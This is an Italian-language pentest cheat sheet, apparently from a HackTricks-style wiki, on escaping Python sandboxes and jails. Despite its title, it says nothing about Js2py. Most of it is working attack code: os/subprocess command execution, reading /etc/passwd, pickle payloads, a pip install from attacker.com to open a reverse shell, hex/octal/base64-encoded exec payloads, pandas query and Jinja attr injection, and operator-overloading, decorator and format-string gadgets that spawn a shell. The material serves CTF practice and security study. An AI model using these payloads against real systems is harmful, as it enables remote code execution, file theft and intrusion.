Js2py Sandbox Escape Cve 2024 28397

Command Execution Libraries

La prima cosa da sapere è se puoi eseguire direttamente codice con qualche libreria già importata, oppure se puoi importare una qualsiasi di queste librerie:

os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")

#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *

#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')

#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')

Ricorda che le funzioni open e read possono essere utili per leggere file all’interno della python sandbox e per scrivere del codice che potresti eseguire per effettuare un bypass della sandbox.

[!CAUTION] > Python2 input() function permette di eseguire codice python prima che il programma si arresti.

Python cerca di caricare le librerie dalla directory corrente prima (il seguente comando stamperà da dove python carica i moduli): python3 -c 'import sys; print(sys.path)'

Bypass pickle sandbox con i pacchetti python installati di default

Pacchetti preinstallati

Puoi trovare una lista di pacchetti preinstallati qui: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html
Nota che da un pickle puoi fare in modo che l’ambiente python import arbitrary libraries installate nel sistema.
Per esempio, il seguente pickle, quando caricato, importerà la libreria pip per usarla:

#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
#the library is going to be loaded automatically

import pickle, os, base64, pip
class P(object):
def __reduce__(self):
return (pip.main,(["list"],))

print(base64.b64encode(pickle.dumps(P(), protocol=0)))

Per maggiori informazioni su come funziona pickle consulta questo: https://checkoway.net/musings/pickle/

Pacchetto Pip

Trucco condiviso da @isHaacK

Se hai accesso a pip o pip.main() puoi installare un pacchetto arbitrario e ottenere una reverse shell chiamando:

pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])

Puoi scaricare il pacchetto per creare il reverse shell qui. Nota che prima di usarlo dovresti decomprimerlo, modificare setup.py e inserire il tuo IP per il reverse shell:

Tip

Questo pacchetto si chiama Reverse. Tuttavia, è stato appositamente creato in modo che quando esci dal reverse shell il resto dell’installazione fallisca, quindi non lascerai alcun python package extra installato sul server quando te ne andrai.

Usare eval su codice python

Warning

Nota che exec permette stringhe multilinea e “;”, ma eval no (controlla il walrus operator)

Se certi caratteri sono vietati puoi usare la rappresentazione hex/octal/B64 per bypass la restrizione:

exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))

#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

Altre librerie che permettono di eseguire eval su codice python

#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")

# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")

Vedi anche un caso reale di escape da un sandboxed evaluator in generatori PDF:

• ReportLab/xhtml2pdf triple-bracket [[[…]]] expression evaluation → RCE (CVE-2023-33733). Abusa di rl_safe_eval per raggiungere function.globals e os.system da attributi valutati (per esempio, colore del font) e restituisce un valore valido per mantenere stabile il rendering.

Operatori e trucchi rapidi

# walrus operator allows generating variable inside a list
## everything will be executed in order

## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"

Bypassare le protezioni tramite codifiche (UTF-7)

In this writeup UFT-7 viene usato per caricare ed eseguire codice python arbitrario all’interno di un apparente sandbox:

assert b"+AAo-".decode("utf_7") == "\n"

payload = """
# -*- coding: utf_7 -*-
def f(x):
return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()

È anche possibile bypassarlo usando altre codifiche, ad es. raw_unicode_escape e unicode_escape.

Esecuzione Python senza chiamate

Se ti trovi all’interno di una jail Python che non ti permette di effettuare chiamate, ci sono comunque alcuni modi per eseguire funzioni arbitrarie, codice e comandi.

RCE con decorators

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
pass

# The previous code is equivalent to:
class X:
pass
X = input(X)
X = exec(X)

# So just send your python code when prompted and it will be executed


# Another approach without calling input:
@eval
@'__import__("os").system("sh")'.format
class _:pass

RCE creating objects and overloading

Se puoi dichiarare una class e creare un object di quella class, puoi scrivere/sovrascrivere diversi methods che possono essere attivati senza doverli chiamare direttamente.

RCE with custom classes

Puoi modificare alcuni class methods (sovrascrivendo metodi della class esistenti o creando una nuova class) per farli eseguire codice arbitrario quando vengono attivati senza chiamarli direttamente.

# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
def __init__(self):
self += "print('Hello from __init__ + __iadd__')"
__iadd__ = exec #Triggered when object is created
def __del__(self):
self -= "print('Hello from __del__ + __isub__')"
__isub__ = exec #Triggered when object is created
__getitem__ = exec #Trigerred with obj[<argument>]
__add__ = exec #Triggered with obj + <argument>

# These lines abuse directly the previous class to get RCE
rce = RCE() #Later we will see how to create objects without calling the constructor
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce

# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()

# Other functions to overwrite
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')

Creare oggetti con metaclasses

La cosa principale che i metaclasses ci permettono di fare è creare un’istanza di una classe, senza chiamare direttamente il costruttore, creando una nuova classe che usa la classe target come metaclass.

# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
class Metaclass(type):
__getitem__ = exec # So Sub[string] will execute exec(string)
# Note: Metaclass.__class__ == type

class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
pass # Nothing special to do

Sub['import os; os.system("sh")']

## You can also use the tricks from the previous section to get RCE with this object

Creazione di oggetti con eccezioni

Quando viene scatenata un’eccezione viene creato un oggetto di Exception senza che tu debba chiamare direttamente il costruttore (un trucco di @_nag0mez):

class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec #Triggered when object is created
raise RCE #Generate RCE object


# RCE with __add__ overloading and try/except + raise generated object
class Klecko(Exception):
__add__ = exec

try:
raise Klecko
except Klecko as k:
k + 'import os; os.system("sh")' #RCE abusing __add__

## You can also use the tricks from the previous section to get RCE with this object

Ulteriori RCE

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0 #Trigger it

# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
# The interpreter will try to import an apt-specific module to potentially
# report an error in ubuntu-provided modules.
# Therefore the __import__ functions are overwritten with our RCE
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]

Leggi file con builtins help & license

__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass

Builtins

• Builtins functions of python2
• Builtins functions of python3

Se puoi accedere all’oggetto __builtins__ puoi importare librerie (nota che puoi anche usare qui altre rappresentazioni stringa mostrate nell’ultima sezione):

__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")

No Builtins

Quando non hai __builtins__ non potrai importare nulla né leggere o scrivere file poiché tutte le funzioni globali (come open, import, print…) non sono caricate.\

Tuttavia, per impostazione predefinita python importa molti moduli in memoria. Questi moduli possono sembrare innocui, ma alcuni di essi importano anche funzionalità pericolose al loro interno che possono essere accessibili per ottenere persino arbitrary code execution.

Nei seguenti esempi puoi osservare come abusare di alcuni di questi moduli “innocui” caricati per accedere a funzionalità pericolose al loro interno.

Python2

#Try to reload __builtins__
reload(__builtins__)
import __builtin__

# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")

# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")

Python3

# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
help.__call__.__builtins__ # or __globals__
license.__call__.__builtins__ # or __globals__
credits.__call__.__builtins__ # or __globals__
print.__self__
dir.__self__
globals.__self__
len.__self__
__build_class__.__self__

# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']

# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]

Below there is a bigger function per trovare decine/centinaia di posti dove puoi trovare i builtins.

Python2 e Python3

# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')

Builtins payloads

# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below

Globals e locals

Controllare le globals e le locals è un buon modo per sapere a cosa puoi accedere.

Scoprire l’esecuzione arbitraria

Qui voglio spiegare come scoprire facilmente funzionalità più pericolose caricate e proporre exploit più affidabili.

Accesso alle subclasses con bypasses

Una delle parti più delicate di questa tecnica è poter accedere alle subclasses di base. Negli esempi precedenti questo è stato fatto usando ''.__class__.__base__.__subclasses__() ma esistono altri metodi possibili:

#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
(1).__class__.__base__.__subclasses__()
bool.__class__.__base__.__subclasses__()
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()

#You can also access it without "__base__" or "__class__"
# You can apply the previous technique also here
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()

# This can be useful in case it is not possible to make calls (therefore using decorators)
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec

#If attr is present you can access everything as a string
# This is common in Django (and Jinja) environments
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()

Trovare librerie pericolose caricate

Ad esempio, sapendo che con la libreria sys è possibile import arbitrary libraries, puoi cercare tutti i moduli caricati che hanno importato sys al loro interno:

[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']

Ce ne sono molti, e ne basta uno per eseguire comandi:

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

Possiamo fare la stessa cosa con altre librerie che sappiamo possono essere usate per eseguire comandi:

#os

Formattazione delle stringhe in Python

Se invii una stringa a python che verrà formattata, puoi usare {} per accedere alle informazioni interne di python. Puoi usare gli esempi precedenti per accedere a globals o builtins, per esempio.

# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
"KEY": "ASXFYFGK78989"
}

class PeopleInfo:
def __init__(self, fname, lname):
self.fname = fname
self.lname = lname

def get_name_for_avatar(avatar_str, people_obj):
return avatar_str.format(people_obj = people_obj)

people = PeopleInfo('GEEKS', 'FORGEEKS')

st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)

Nota come puoi accedere agli attributi in modo normale con un punto come people_obj.__init__ e un elemento di dict con parentesi quadre senza virgolette __globals__[CONFIG]

Nota anche che puoi usare .__dict__ per enumerare gli elementi di un oggetto get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)

Altre caratteristiche interessanti delle format strings sono la possibilità di eseguire le funzioni str, repr e ascii sull’oggetto indicato aggiungendo rispettivamente !s, !r, !a:

st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)

Inoltre, è possibile code new formatters in classes:

class HAL9000(object):
def __format__(self, format):
if (format == 'open-the-pod-bay-doors'):
return "I'm afraid I can't do that."
return 'HAL 9000'

'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.

Altri esempi di format string si trovano su https://pyformat.info/

From format to RCE loading libraries

According to the TypeMonkey chall from this writeup it’s possible to load arbitrary libraries from disk abusing the format string vulnerability in python.

As reminder, every time an action is performed in python some function is executed. For example 2*3 will execute (2).mul(3) or {'a':'b'}['a'] will be {'a':'b'}.__getitem__('a').

You have more like this in the section Python execution without calls.

A python format string vuln doesn’t allow to execute function (it’s doesn’t allow to use parenthesis), so it’s not possible to get RCE like '{0.system("/bin/sh")}'.format(os).
However, it’s possible to use []. Therefore, if a common python library has a __getitem__ or __getattr__ method that executes arbitrary code, it’s possible to abuse them to get RCE.

Looking for a gadget like that in python, the writeup purposes this Github search query. Where he found this one:

class LibraryLoader(object):
def __init__(self, dlltype):
self._dlltype = dlltype

def __getattr__(self, name):
if name[0] == '_':
raise AttributeError(name)
try:
dll = self._dlltype(name)
except OSError:
raise AttributeError(name)
setattr(self, name, dll)
return dll

def __getitem__(self, name):
return getattr(self, name)

cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)

Questo gadget permette di caricare una libreria dal disco. Pertanto, è necessario in qualche modo scrivere o caricare la libreria da caricare, correttamente compilata, sul server attaccato.

'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'

La challenge sfrutta in realtà un’altra vulnerabilità nel server che permette di creare file arbitrari sul disco del server.

Analisi degli oggetti Python

Tip

Se vuoi imparare in profondità su python bytecode leggi questo post fantastico sull’argomento: https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d

In alcuni CTFs potresti ricevere il nome di una funzione custom dove risiede la flag e devi vedere gli interni della funzione per estrarla.

Questa è la funzione da ispezionare:

def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
if some_input == var2:
return "THIS-IS-THE-FALG!"
else:
return "Nope"

dir

dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

variabili globali

__globals__ e func_globals (uguali) ottengono l’ambiente globale. Nell’esempio puoi vedere alcuni moduli importati, alcune variabili globali e i relativi contenuti dichiarati:

get_flag.func_globals
get_flag.__globals__
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}

#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__

Nota che se non puoi importare dis in the python sandbox puoi ottenere il bytecode della funzione (get_flag.func_code.co_code) e disassemble localmente. Non vedrai il contenuto delle variabili caricate (LOAD_CONST) ma puoi indovinarlo da (get_flag.func_code.co_consts) perché LOAD_CONST indica anche l’offset della variabile caricata.

dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')

Compilare Python

Adesso, immaginiamo che in qualche modo tu possa dump the information about a function that you cannot execute ma tu hai bisogno di execute essa.\ Come nell’esempio seguente, puoi accedere al code object di quella function, ma leggendo soltanto il disassemble non sai come calcolare il flag (immagina una calc_flag function più complessa)

def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
def calc_flag(flag_rot2):
return ''.join(chr(ord(c)-2) for c in flag_rot2)
if some_input == var2:
return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"

Creazione del code object

Prima di tutto, dobbiamo sapere come creare ed eseguire un code object così da poterne creare uno per eseguire la nostra funzione leaked:

code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
code_obj = code_type(co_argcount, co_kwonlyargcount,
co_nlocals, co_stacksize, co_flags,
co_code, co_consts, co_names,
co_varnames, co_filename, co_name,
co_firstlineno, co_lnotab, freevars=None,
cellvars=None)

# Execution
eval(code_obj) #Execute as a whole script

# If you have the code of a function, execute it
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")

Tip

A seconda della versione di python i parametri di code_type possono avere un ordine diverso. Il modo migliore per conoscere l’ordine dei params nella versione di python che stai eseguendo è eseguire:

import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n      flags, codestring, constants, names, varnames, filename, name,\n      firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object.  Not for the faint of heart.'

Ricreare una leaked function

Warning

Nel seguente esempio prenderemo direttamente tutti i dati necessari per ricreare la function dal function code object. In un esempio reale, tutti i valori necessari per eseguire la function code_type sono quelli che dovrai leak.

fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)

mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag

Bypass delle difese

Negli esempi precedenti all’inizio di questo post, puoi vedere come eseguire qualsiasi codice python usando la funzione compile. Questo è interessante perché puoi eseguire interi script con loop e tutto il resto in un one liner (e potremmo fare lo stesso usando exec).
Comunque, a volte può essere utile creare un oggetto compilato su una macchina locale ed eseguirlo sulla macchina CTF (per esempio perché non abbiamo la funzione compiled nella CTF).

Per esempio, compiliamo ed eseguiamo manualmente una funzione che legge ./poc.py:

#Locally
def read():
return open("./poc.py",'r').read()

read.__code__.co_code
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'

#On Remote
function_type = type(lambda: None)
code_type = type((lambda: None).__code__) #Get <type 'type'>
consts = (None, "./poc.py", 'r')
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
names = ('open','read')

# And execute it using eval/exec
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))

#You could also execute it directly
mydict = {}
mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()

Se non puoi accedere a eval o exec puoi creare una funzione adeguata, ma chiamarla direttamente di solito fallisce con: constructor not accessible in restricted mode. Quindi ti serve una funzione esterna all’ambiente ristretto per chiamare questa funzione.

#Compile a regular print
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)

Decompilazione di Python compilato

Usando strumenti come https://www.decompiler.com/ è possibile decompile il codice Python compilato.

Consulta questo tutorial:

Decompile compiled python binaries (exe, elf) - Retreive from .pyc

Varie su Python

Assert

Python eseguito con le ottimizzazioni con il parametro -O rimuoverà le istruzioni assert e qualsiasi codice condizionato dal valore di debug.
Pertanto, controlli come

def check_permission(super_user):
try:
assert(super_user)
print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")

verrà bypassato
